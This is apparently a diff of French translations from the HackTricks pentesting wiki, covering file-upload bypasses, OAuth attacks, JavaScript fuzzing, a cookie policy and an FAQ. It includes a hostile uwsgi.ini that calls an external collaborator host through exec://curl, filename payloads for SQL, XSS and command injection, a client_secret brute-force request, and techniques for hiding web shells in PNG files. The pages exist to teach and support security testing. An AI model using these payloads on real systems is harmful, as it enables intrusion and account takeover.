Si vous essayez de télécharger des fichiers sur un **serveur PHP**, [jetez un œil à l'astuce **.htaccess** pour exécuter du code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Si vous essayez de télécharger des fichiers sur un **serveur PHP**, [jetez un œil à l'astuce **.htaccess** pour exécuter du code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Si vous essayez de télécharger des fichiers sur un **serveur ASP**, [jetez un œil à l'astuce **.config** pour exécuter du code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Les fichiers `.phar` sont comme les `.jar` pour java, mais pour php, et peuvent être **utilisés comme un fichier php** (en l'exécutant avec php, ou en l'incluant dans un script...)
@ -106,7 +106,7 @@ Si vous pouvez télécharger un fichier XML sur un serveur Jetty, vous pouvez ob
Pour une exploration détaillée de cette vulnérabilité, consultez la recherche originale : [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Les vulnérabilités d'exécution de commande à distance (RCE) peuvent être exploitées dans les serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables "magiques", des espaces réservés et des opérateurs. Notamment, l'opérateur '@', utilisé comme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schémas pris en charge dans uWSGI, le schéma "exec" est particulièrement puissant, permettant la lecture de données à partir de la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que l'exécution de commandes à distance ou l'écriture/lecture de fichiers arbitraires lorsqu'un fichier de configuration `.ini` est traité.
Les vulnérabilités d'exécution de commande à distance (RCE) peuvent être exploitées sur les serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables "magiques", des espaces réservés et des opérateurs. Notamment, l'opérateur '@', utilisé comme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schémas pris en charge dans uWSGI, le schéma "exec" est particulièrement puissant, permettant la lecture de données à partir de la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que l'exécution de commandes à distance ou l'écriture/lecture de fichiers arbitraires lorsqu'un fichier de configuration `.ini` est traité.
Considérez l'exemple suivant d'un fichier `uwsgi.ini` nuisible, montrant divers schémas :
```ini
@ -126,7 +126,7 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
L'exécution de la charge utile se produit lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit soit être redémarré (potentiellement après un crash ou en raison d'une attaque par déni de service), soit le fichier doit être configuré pour se recharger automatiquement. La fonction de rechargement automatique, si elle est activée, recharge le fichier à des intervalles spécifiés lors de la détection de modifications.
L'exécution de la charge utile se produit lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit être redémarré (potentiellement après un crash ou en raison d'une attaque par déni de service) ou le fichier doit être configuré pour se recharger automatiquement. La fonction de rechargement automatique, si elle est activée, recharge le fichier à des intervalles spécifiés lors de la détection de modifications.
Il est crucial de comprendre la nature laxiste de l'analyse du fichier de configuration de uWSGI. En particulier, la charge utile discutée peut être insérée dans un fichier binaire (tel qu'une image ou un PDF), élargissant ainsi le champ d'exploitation potentiel.
@ -166,7 +166,7 @@ Notez qu'une **autre option** à laquelle vous pourriez penser pour contourner c
- Définissez **filename** sur `../../../tmp/lol.png` et essayez d'atteindre un **path traversal**
- Définissez **filename** sur `sleep(10)-- -.jpg` et vous pourriez être en mesure d'atteindre une **injection SQL**
- Définissez **filename** sur `<svg onload=alert(document.domain)>` pour atteindre un XSS
- Définissez **filename** sur `<svg onload=alert(document.domain)>` pour réaliser un XSS
- Définissez **filename** sur `; sleep 10;` pour tester une injection de commande (plus de [trucs d'injection de commandes ici](../command-injection.md))
- [**XSS** dans le téléchargement de fichiers image (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** fichier **upload** + **XSS** = [exploitation des **Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
@ -191,7 +191,7 @@ Voici un top 10 des choses que vous pouvez réaliser en téléchargeant (de [ici
7. **HTML / JS** : injection HTML / XSS / Open redirect
8. **PNG / JPEG** : attaque par inondation de pixels (DoS)
9. **ZIP** : RCE via LFI / DoS
10. **PDF / PPTX** : SSRF / BLIND XXE
10. **PDF / PPTX** : SSRF / XXE AVEUGLE
#### Extension Burp
@ -199,7 +199,7 @@ Voici un top 10 des choses que vous pouvez réaliser en téléchargeant (de [ici
https://github.com/portswigger/upload-scanner
{{#endref}}
## Magic Header Bytes
## Octets d'en-tête magiques
- **PNG** : `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG** : `"\xff\xd8\xff"`
@ -289,11 +289,11 @@ pop graphic-context
```
## Intégration d'un Shell PHP dans un PNG
Intégrer un shell PHP dans le chunk IDAT d'un fichier PNG peut contourner efficacement certaines opérations de traitement d'image. Les fonctions `imagecopyresized` et `imagecopyresampled` de PHP-GD sont particulièrement pertinentes dans ce contexte, car elles sont couramment utilisées pour redimensionner et rééchantillonner des images, respectivement. La capacité du shell PHP intégré à rester non affecté par ces opérations est un avantage significatif pour certains cas d'utilisation.
L'intégration d'un shell PHP dans le chunk IDAT d'un fichier PNG peut contourner efficacement certaines opérations de traitement d'image. Les fonctions `imagecopyresized` et `imagecopyresampled` de PHP-GD sont particulièrement pertinentes dans ce contexte, car elles sont couramment utilisées pour redimensionner et rééchantillonner des images, respectivement. La capacité du shell PHP intégré à rester non affecté par ces opérations est un avantage significatif pour certains cas d'utilisation.
Une exploration détaillée de cette technique, y compris sa méthodologie et ses applications potentielles, est fournie dans l'article suivant : ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Cette ressource offre une compréhension complète du processus et de ses implications.
Plus d'informations sur : [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
Plus d'informations ici : [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Fichiers Polyglottes
@ -301,9 +301,9 @@ Les fichiers polyglottes servent d'outil unique en cybersécurité, agissant com
L'utilité principale des fichiers polyglottes réside dans leur capacité à contourner les mesures de sécurité qui filtrent les fichiers en fonction de leur type. La pratique courante dans diverses applications consiste à autoriser uniquement certains types de fichiers pour le téléchargement—comme JPEG, GIF ou DOC—pour atténuer le risque posé par des formats potentiellement nuisibles (par exemple, JS, PHP ou fichiers Phar). Cependant, un polyglotte, en se conformant aux critères structurels de plusieurs types de fichiers, peut contourner furtivement ces restrictions.
Malgré leur adaptabilité, les polyglottes rencontrent des limitations. Par exemple, bien qu'un polyglotte puisse simultanément incarner un fichier PHAR (PHp ARchive) et un JPEG, le succès de son téléchargement peut dépendre des politiques d'extension de fichiers de la plateforme. Si le système est strict concernant les extensions autorisées, la simple dualité structurelle d'un polyglotte peut ne pas suffire à garantir son téléchargement.
Malgré leur adaptabilité, les polyglottes rencontrent des limitations. Par exemple, bien qu'un polyglotte puisse simultanément incarner un fichier PHAR (PHp ARchive) et un JPEG, le succès de son téléchargement peut dépendre des politiques d'extension de fichier de la plateforme. Si le système est strict concernant les extensions autorisées, la simple dualité structurelle d'un polyglotte peut ne pas suffire à garantir son téléchargement.
Plus d'informations sur : [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
Plus d'informations ici : [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
## Références

View File

@ -4,13 +4,13 @@
## Informations de base <a href="#d4a8" id="d4a8"></a>
OAuth propose différentes versions, avec des informations fondamentales accessibles dans la [documentation OAuth 2.0](https://oauth.net/2/). Cette discussion se concentre principalement sur le [type de code d'autorisation OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), fournissant un **cadre d'autorisation qui permet à une application d'accéder ou d'effectuer des actions sur le compte d'un utilisateur dans une autre application** (le serveur d'autorisation).
OAuth propose différentes versions, avec des informations fondamentales accessibles dans la [documentation OAuth 2.0](https://oauth.net/2/). Cette discussion se concentre principalement sur le [type de grant de code d'autorisation OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), fournissant un **cadre d'autorisation qui permet à une application d'accéder ou d'effectuer des actions sur le compte d'un utilisateur dans une autre application** (le serveur d'autorisation).
Considérons un site web hypothétique _**https://example.com**_, conçu pour **présenter tous vos posts sur les réseaux sociaux**, y compris ceux privés. Pour ce faire, OAuth 2.0 est utilisé. _https://example.com_ demandera votre permission pour **accéder à vos posts sur les réseaux sociaux**. Par conséquent, un écran de consentement apparaîtra sur _https://socialmedia.com_, décrivant les **permissions demandées et le développeur faisant la demande**. Après votre autorisation, _https://example.com_ obtient la capacité de **accéder à vos posts en votre nom**.
Considérons un site web hypothétique _**https://example.com**_, conçu pour **afficher tous vos posts sur les réseaux sociaux**, y compris les privés. Pour ce faire, OAuth 2.0 est utilisé. _https://example.com_ demandera votre permission pour **accéder à vos posts sur les réseaux sociaux**. Par conséquent, un écran de consentement apparaîtra sur _https://socialmedia.com_, décrivant les **permissions demandées et le développeur faisant la demande**. Après votre autorisation, _https://example.com_ obtient la capacité d'**accéder à vos posts en votre nom**.
Il est essentiel de comprendre les composants suivants dans le cadre OAuth 2.0 :
- **propriétaire de la ressource** : Vous, en tant que **utilisateur/entité**, autorisez l'accès à votre ressource, comme vos posts de compte de réseaux sociaux.
- **propriétaire de la ressource** : Vous, en tant que **utilisateur/entité**, autorisez l'accès à votre ressource, comme vos posts sur les réseaux sociaux.
- **serveur de ressources** : Le **serveur gérant les demandes authentifiées** après que l'application a sécurisé un `access token` au nom du `propriétaire de la ressource`, par exemple, **https://socialmedia.com**.
- **application cliente** : L'**application cherchant l'autorisation** du `propriétaire de la ressource`, comme **https://example.com**.
- **serveur d'autorisation** : Le **serveur qui délivre des `access tokens`** à l'`application cliente` après l'authentification réussie du `propriétaire de la ressource` et la sécurisation de l'autorisation, par exemple, **https://socialmedia.com**.
@ -20,7 +20,7 @@ Il est essentiel de comprendre les composants suivants dans le cadre OAuth 2.0 :
- **scope** : Le **niveau d'accès** que l'`application cliente` demande au `propriétaire de la ressource`.
- **redirect_uri** : L'**URL vers laquelle l'utilisateur est redirigé après l'autorisation**. Cela doit généralement correspondre à l'URL de redirection préenregistrée.
- **state** : Un paramètre pour **maintenir des données lors de la redirection de l'utilisateur vers et depuis le serveur d'autorisation**. Son unicité est cruciale pour servir de **mécanisme de protection CSRF**.
- **grant_type** : Un paramètre indiquant **le type de subvention et le type de token à retourner**.
- **grant_type** : Un paramètre indiquant **le type de grant et le type de token à retourner**.
- **code** : Le code d'autorisation du `serveur d'autorisation`, utilisé en tandem avec `client_id` et `client_secret` par l'application cliente pour acquérir un `access_token`.
- **access_token** : Le **token que l'application cliente utilise pour les requêtes API** au nom du `propriétaire de la ressource`.
- **refresh_token** : Permet à l'application de **obtenir un nouveau `access_token` sans redemander à l'utilisateur**.
@ -30,7 +30,7 @@ Il est essentiel de comprendre les composants suivants dans le cadre OAuth 2.0 :
Le **flux OAuth réel** se déroule comme suit :
1. Vous naviguez vers [https://example.com](https://example.com) et sélectionnez le bouton “Intégrer avec les réseaux sociaux”.
2. Le site envoie ensuite une demande à [https://socialmedia.com](https://socialmedia.com) demandant votre autorisation pour permettre à l'application de https://example.com d'accéder à vos posts. La demande est structurée comme suit :
2. Le site envoie ensuite une demande à [https://socialmedia.com](https://socialmedia.com) demandant votre autorisation pour permettre à l'application de https://example.com d'accéder à vos posts. La demande est structurée comme :
```
https://socialmedia.com/auth
?response_type=code
@ -40,7 +40,7 @@ https://socialmedia.com/auth
&state=randomString123
```
3. Vous êtes ensuite présenté avec une page de consentement.
4. Suite à votre approbation, les réseaux sociaux envoient une réponse à l'`redirect_uri` avec les paramètres `code` et `state` :
4. Suite à votre approbation, Social Media envoie une réponse à l'`redirect_uri` avec les paramètres `code` et `state` :
```
https://example.com?code=uniqueCode123&state=randomString123
```
@ -72,29 +72,29 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
```
### CSRF - Mauvaise gestion du paramètre d'état <a href="#bda5" id="bda5"></a>
Dans les implémentations OAuth, l'utilisation abusive ou l'omission du **`state` parameter** peut considérablement augmenter le risque d'attaques de **Cross-Site Request Forgery (CSRF)**. Cette vulnérabilité survient lorsque le paramètre `state` est soit **non utilisé, utilisé comme une valeur statique, ou mal validé**, permettant aux attaquants de contourner les protections CSRF.
Dans les implémentations OAuth, l'utilisation incorrecte ou l'omission du **`state` parameter** peut considérablement augmenter le risque d'attaques de **Cross-Site Request Forgery (CSRF)**. Cette vulnérabilité survient lorsque le paramètre `state` est soit **non utilisé, utilisé comme une valeur statique, ou mal validé**, permettant aux attaquants de contourner les protections CSRF.
Les attaquants peuvent en profiter en interceptant le processus d'autorisation pour lier leur compte à celui d'une victime, ce qui peut entraîner des **prises de contrôle de compte** potentielles. Cela est particulièrement critique dans les applications où OAuth est utilisé à des fins **d'authentification**.
Les attaquants peuvent exploiter cela en interceptant le processus d'autorisation pour lier leur compte à celui d'une victime, ce qui peut entraîner des **prises de contrôle de compte** potentielles. Cela est particulièrement critique dans les applications où OAuth est utilisé à des fins **d'authentification**.
Des exemples concrets de cette vulnérabilité ont été documentés dans divers **CTF challenges** et **hacking platforms**, mettant en évidence ses implications pratiques. Le problème s'étend également aux intégrations avec des services tiers comme **Slack**, **Stripe**, et **PayPal**, où les attaquants peuvent rediriger des notifications ou des paiements vers leurs comptes.
Des exemples concrets de cette vulnérabilité ont été documentés dans divers **CTF challenges** et **plateformes de hacking**, soulignant ses implications pratiques. Le problème s'étend également aux intégrations avec des services tiers comme **Slack**, **Stripe**, et **PayPal**, où les attaquants peuvent rediriger des notifications ou des paiements vers leurs comptes.
Une gestion et une validation appropriées du **`state` parameter** sont cruciales pour se protéger contre le CSRF et sécuriser le flux OAuth.
### Pré Prise de Contrôle de Compte <a href="#ebe4" id="ebe4"></a>
1. **Sans Vérification d'Email lors de la Création de Compte** : Les attaquants peuvent créer préventivement un compte en utilisant l'email de la victime. Si la victime utilise plus tard un service tiers pour se connecter, l'application pourrait involontairement lier ce compte tiers au compte pré-créé de l'attaquant, entraînant un accès non autorisé.
1. **Sans Vérification d'Email lors de la Création de Compte** : Les attaquants peuvent créer préventivement un compte en utilisant l'email de la victime. Si la victime utilise ensuite un service tiers pour se connecter, l'application pourrait involontairement lier ce compte tiers au compte pré-créé de l'attaquant, entraînant un accès non autorisé.
2. **Exploitation d'une Vérification d'Email OAuth Laxiste** : Les attaquants peuvent exploiter des services OAuth qui ne vérifient pas les emails en s'inscrivant avec leur service puis en changeant l'email du compte pour celui de la victime. Cette méthode présente également un risque d'accès non autorisé au compte, semblable au premier scénario mais par un vecteur d'attaque différent.
### Divulgation de Secrets <a href="#e177" id="e177"></a>
Identifier et protéger les paramètres secrets OAuth est crucial. Bien que le **`client_id`** puisse être divulgué en toute sécurité, révéler le **`client_secret`** pose des risques significatifs. Si le `client_secret` est compromis, les attaquants peuvent exploiter l'identité et la confiance de l'application pour **voler des `access_tokens` d'utilisateur** et des informations privées.
Une vulnérabilité courante survient lorsque les applications gèrent par erreur l'échange du `code` d'autorisation contre un `access_token` côté client plutôt que côté serveur. Cette erreur conduit à l'exposition du `client_secret`, permettant aux attaquants de générer des `access_tokens` sous le couvert de l'application. De plus, par le biais d'ingénierie sociale, les attaquants pourraient élever leurs privilèges en ajoutant des scopes supplémentaires à l'autorisation OAuth, exploitant davantage le statut de confiance de l'application.
Une vulnérabilité courante survient lorsque les applications gèrent par erreur l'échange du `code` d'autorisation contre un `access_token` côté client plutôt que côté serveur. Cette erreur conduit à l'exposition du `client_secret`, permettant aux attaquants de générer des `access_tokens` sous le couvert de l'application. De plus, par ingénierie sociale, les attaquants pourraient élever leurs privilèges en ajoutant des scopes supplémentaires à l'autorisation OAuth, exploitant davantage le statut de confiance de l'application.
### Bruteforce du Client Secret
Vous pouvez essayer de **bruteforcer le client_secret** d'un fournisseur de services avec le fournisseur d'identité afin d'essayer de voler des comptes.\
La requête pour BF peut ressembler à :
La requête pour le BF peut ressembler à :
```
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
@ -104,23 +104,23 @@ Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
```
### Référent Header leaking Code + State
### Référent Header fuyant Code + État
Une fois que le client a le **code et l'état**, s'ils sont **réfléchis dans l'en-tête Referer** lorsqu'il navigue vers une autre page, alors il est vulnérable.
### Access Token Stocké dans l'Historique du Navigateur
### Jeton d'accès stocké dans l'historique du navigateur
Allez dans l'**historique du navigateur et vérifiez si le jeton d'accès y est enregistré**.
Allez dans **l'historique du navigateur et vérifiez si le jeton d'accès y est enregistré**.
### Code d'Autorisation Éternel
### Code d'autorisation éternel
Le **code d'autorisation ne devrait vivre que pendant un certain temps pour limiter la fenêtre de temps où un attaquant peut le voler et l'utiliser**.
### Jeton d'Autorisation/Refresh non lié au client
### Jeton d'autorisation/rafraîchissement non lié au client
Si vous pouvez obtenir le **code d'autorisation et l'utiliser avec un client différent, alors vous pouvez prendre le contrôle d'autres comptes**.
### Chemins Heureux, XSS, Iframes & Post Messages pour fuir les valeurs de code & d'état
### Chemins heureux, XSS, Iframes & Messages Post pour fuir les valeurs de code & d'état
[**Vérifiez ce post**](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)
@ -146,7 +146,7 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
Pour plus d'informations détaillées sur la façon d'abuser d'AWS cognito, consultez :
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.html
{{#endref}}
### Abus des tokens d'autres applications <a href="#bda5" id="bda5"></a>
@ -160,9 +160,9 @@ Ceci est dû au fait qu'un **attaquant** pourrait créer une **application suppo
### Deux liens & cookie <a href="#bda5" id="bda5"></a>
Selon [**cet article**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), il était possible de faire ouvrir à une victime une page avec un **returnUrl** pointant vers l'hôte de l'attaquant. Cette info serait **stockée dans un cookie (RU)** et dans une **étape ultérieure**, le **prompt** demandera à l'**utilisateur** s'il souhaite donner accès à cet hôte de l'attaquant.
Selon [**cet article**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), il était possible de faire ouvrir à une victime une page avec un **returnUrl** pointant vers l'hôte de l'attaquant. Cette info serait **stockée dans un cookie (RU)** et à une **étape ultérieure**, le **prompt** demandera à l'**utilisateur** s'il souhaite donner accès à cet hôte de l'attaquant.
Pour contourner ce prompt, il était possible d'ouvrir un onglet pour initier le **flux Oauth** qui définirait ce cookie RU en utilisant le **returnUrl**, de fermer l'onglet avant que le prompt ne soit affiché, et d'ouvrir un nouvel onglet sans cette valeur. Ensuite, le **prompt n'informera pas sur l'hôte de l'attaquant**, mais le cookie serait défini pour cela, donc le **token sera envoyé à l'hôte de l'attaquant** lors de la redirection.
Pour contourner ce prompt, il était possible d'ouvrir un onglet pour initier le **flux Oauth** qui définirait ce cookie RU en utilisant le **returnUrl**, de fermer l'onglet avant que le prompt ne soit affiché, et d'ouvrir un nouvel onglet sans cette valeur. Ensuite, le **prompt n'informera pas sur l'hôte de l'attaquant**, mais le cookie serait défini pour cela, donc le **token sera envoyé à l'hôte de l'attaquant** dans la redirection.
### Contournement de l'interaction du prompt <a href="#bda5" id="bda5"></a>
@ -179,7 +179,7 @@ Comme [**expliqué dans cette vidéo**](https://www.youtube.com/watch?v=n9x7_J_a
### Flux OAuth ROPC - contournement de 2 FA <a href="#b440" id="b440"></a>
Selon [**cet article de blog**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), il s'agit d'un flux OAuth qui permet de se connecter à OAuth via **nom d'utilisateur** et **mot de passe**. Si, au cours de ce flux simple, un **token** avec accès à toutes les actions que l'utilisateur peut effectuer est retourné, alors il est possible de contourner la 2FA en utilisant ce token.
Selon [**cet article de blog**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), il s'agit d'un flux OAuth qui permet de se connecter à OAuth via **nom d'utilisateur** et **mot de passe**. Si, au cours de ce flux simple, un **token** avec accès à toutes les actions que l'utilisateur peut effectuer est retourné, alors il est possible de contourner 2FA en utilisant ce token.
### ATO sur une page web redirigeant en fonction de la redirection ouverte vers le référent <a href="#bda5" id="bda5"></a>
@ -188,7 +188,7 @@ Ce [**blogpost**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) commen
1. La victime accède à la page web de l'attaquant
2. La victime ouvre le lien malveillant et un opener commence le flux OAuth de Google avec `response_type=id_token,code&prompt=none` comme paramètres supplémentaires en utilisant comme **référent le site web de l'attaquant**.
3. Dans l'opener, après que le fournisseur autorise la victime, il les renvoie à la valeur du paramètre `redirect_uri` (site web de la victime) avec un code 30X qui garde toujours le site web de l'attaquant dans le référent.
4. Le **site web de la victime déclenche la redirection ouverte basée sur le référent**, redirigeant l'utilisateur victime vers le site web de l'attaquant, comme le **`respose_type`** était **`id_token,code`**, le code sera renvoyé à l'attaquant dans le **fragment** de l'URL lui permettant de prendre le contrôle du compte de l'utilisateur via Google sur le site de la victime.
4. Le **site web de la victime déclenche la redirection ouverte basée sur le référent** redirigeant l'utilisateur victime vers le site web de l'attaquant, comme le **`respose_type`** était **`id_token,code`**, le code sera renvoyé à l'attaquant dans le **fragment** de l'URL lui permettant de prendre le contrôle du compte de l'utilisateur via Google sur le site de la victime.
### Paramètres SSRFs <a href="#bda5" id="bda5"></a>
@ -202,9 +202,9 @@ L'enregistrement dynamique de clients dans OAuth sert de vecteur moins évident
- Cette fonctionnalité adhère aux spécifications énoncées dans **RFC7591** et **OpenID Connect Registration 1.0**, qui incluent des paramètres potentiellement vulnérables aux SSRF.
- Le processus d'enregistrement peut involontairement exposer les serveurs aux SSRF de plusieurs manières :
- **`logo_uri`** : Une URL pour le logo de l'application cliente qui pourrait être récupérée par le serveur, déclenchant un SSRF ou menant à un XSS si l'URL est mal gérée.
- **`jwks_uri`** : Une URL vers le document JWK du client, qui, si elle est malicieusement conçue, peut amener le serveur à effectuer des requêtes sortantes vers un serveur contrôlé par un attaquant.
- **`jwks_uri`** : Une URL vers le document JWK du client, qui si elle est malicieusement conçue, peut amener le serveur à effectuer des requêtes sortantes vers un serveur contrôlé par un attaquant.
- **`sector_identifier_uri`** : Fait référence à un tableau JSON de `redirect_uris`, que le serveur pourrait récupérer, créant une opportunité de SSRF.
- **`request_uris`** : Énumère les URI de requête autorisées pour le client, qui peuvent être exploitées si le serveur récupère ces URI au début du processus d'autorisation.
- **`request_uris`** : Liste les URI de requête autorisées pour le client, qui peuvent être exploitées si le serveur récupère ces URI au début du processus d'autorisation.
**Stratégie d'exploitation :**

View File

@ -108,9 +108,9 @@ log.push(i)
console.log(log) //34,39,47,96
//single quote, quotes, backticks & // (regex)
```
### **Paires de Surrogats BF**
### **Surrogate Pairs BF**
Cette technique ne sera pas très utile pour le XSS, mais elle pourrait être utile pour contourner les protections WAF. Ce code Python reçoit en entrée 2 octets et recherche des paires de surrogats ayant le premier octet comme le dernier octet de la paire de surrogats haute et le dernier octet comme le dernier octet de la paire de surrogats basse.
Cette technique ne sera pas très utile pour XSS mais elle pourrait être utile pour contourner les protections WAF. Ce code python reçoit en entrée 2 octets et recherche des paires de substitution qui ont le premier octet comme le dernier octet de la paire de substitution haute et le dernier octet comme le dernier octet de la paire de substitution basse.
```python
def unicode(findHex):
for i in range(0,0xFFFFF):
@ -121,6 +121,11 @@ l = chr(int(L[-2:],16))
if(h == findHex[0]) and (l == findHex[1]):
print(H.replace("0x","\\u")+L.replace("0x","\\u"))
```
Plus d'infos :
- [https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md](https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md)
- [https://mathiasbynens.be/notes/javascript-unicode](https://mathiasbynens.be/notes/javascript-unicode) [https://mathiasbynens.be/notes/javascript-encoding](https://mathiasbynens.be/notes/javascript-encoding)
### `javascript{}:` Fuzzing de protocole
```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition.
@ -152,7 +157,7 @@ document.body.append(anchor)
a = document.createElement("a")
log = []
for (let i = 0; i <= 0x10ffff; i++) {
a.href = `${String.fromCodePoint(i)}https://hacktricks.xyz`
a.href = `${String.fromCodePoint(i)}https://hacktricks.wiki`
if (a.hostname === "hacktricks.xyz") {
log.push(i)
}

View File

@ -6,16 +6,16 @@ Dernière mise à jour : 02/04/2023
Cette Politique de Cookies s'applique aux sites web suivants détenus et exploités par l'équipe HackTricks ("HackTricks", "nous" ou "notre") :
* hacktricks.xyz
* [www.hacktricks.xyz](http://www.hacktricks.xyz/)
* book.hacktricks.xyz
* cloud.hacktricks.xyz
* hacktricks.wiki
* [www.hacktricks.wiki](https://www.hacktricks.wiki/)
* book.hacktricks.wiki
* cloud.hacktricks.wiki
En utilisant l'un de ces sites, vous acceptez l'utilisation de cookies conformément à cette Politique de Cookies. Si vous n'êtes pas d'accord, veuillez désactiver les cookies dans les paramètres de votre navigateur ou vous abstenir d'utiliser nos sites.
### Qu'est-ce que les cookies ?
Les cookies sont de petits fichiers texte qui sont stockés sur votre ordinateur ou appareil mobile lorsque vous visitez un site web. Ils sont largement utilisés pour faire fonctionner les sites web, améliorer leur fonctionnalité et fournir une expérience utilisateur plus personnalisée.
Les cookies sont de petits fichiers texte qui sont stockés sur votre ordinateur ou appareil mobile lorsque vous visitez un site web. Ils sont largement utilisés pour faire fonctionner les sites, améliorer leur fonctionnalité et fournir une expérience utilisateur plus personnalisée.
### Comment nous utilisons les cookies
@ -26,7 +26,7 @@ Nous utilisons des cookies sur nos sites pour les finalités suivantes :
3. Cookies de fonctionnalité : Ces cookies permettent à nos sites de se souvenir des choix que vous faites, comme votre langue ou votre région, pour offrir une expérience plus personnalisée.
4. Cookies de ciblage/publicité : Ces cookies sont utilisés pour diffuser des publicités pertinentes et des communications marketing en fonction de vos intérêts, de votre historique de navigation et de vos interactions avec nos sites.
De plus, les pages book.hacktricks.xyz et cloud.hacktricks.xyz sont hébergées sur Gitbook. Vous pouvez trouver plus d'informations sur les cookies de Gitbook à [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy).
De plus, les pages book.hacktricks.wiki et cloud.hacktricks.wiki sont hébergées sur Gitbook. Vous pouvez trouver plus d'informations sur les cookies de Gitbook à [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy).
### Cookies tiers

View File

@ -1,4 +1,4 @@
# Valeurs et FAQ de HackTricks
# HackTricks Valeurs & FAQ
{{#include ../banners/hacktricks-training.md}}
@ -26,7 +26,7 @@
> - **Merci beaucoup pour ces ressources, comment puis-je vous remercier ?**
Vous pouvez remercier publiquement les équipes de HackTricks pour avoir rassemblé toutes ces ressources publiquement dans un tweet en mentionnant [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
Si vous êtes particulièrement reconnaissant, vous pouvez également [**soutenir le projet ici**](https://github.com/sponsors/carlospolop).\
Si vous êtes particulièrement reconnaissant, vous pouvez également [**sponsoriser le projet ici**](https://github.com/sponsors/carlospolop).\
Et n'oubliez pas de **donner une étoile aux projets Github !** (Trouvez les liens ci-dessous).
> [!TIP]
@ -57,7 +57,7 @@ Si vous avez besoin d'un bibtex, vous pouvez utiliser quelque chose comme :
author = {"HackTricks Team" or the Authors name of the specific page/trick},
title = {Title of the Specific Page},
year = {Year of Last Update (check it at the end of the page)},
url = {\url{https://book.hacktricks.xyz/specific-page}},
url = {\url{https://book.hacktricks.wiki/specific-page}},
}
```
> [!WARNING]
@ -66,7 +66,7 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
**Je préférerais que non**. Cela **ne bénéficiera à personne** car tout le **contenu est déjà disponible publiquement** dans les livres officiels de HackTricks gratuitement.
Si vous craignez qu'il disparaisse, il suffit de le forker sur Github ou de le télécharger, comme je l'ai dit, c'est déjà gratuit.
Si vous craignez qu'il disparaisse, il vous suffit de le forker sur Github ou de le télécharger, comme je l'ai dit, c'est déjà gratuit.
> [!WARNING]
>
@ -76,7 +76,7 @@ La première **valeur** de **HackTricks** est d'offrir des ressources éducative
Si vous pensez que les livres HackTricks sont faits à des **fins commerciales**, vous avez **COMPLÈTEMENT TORT**.
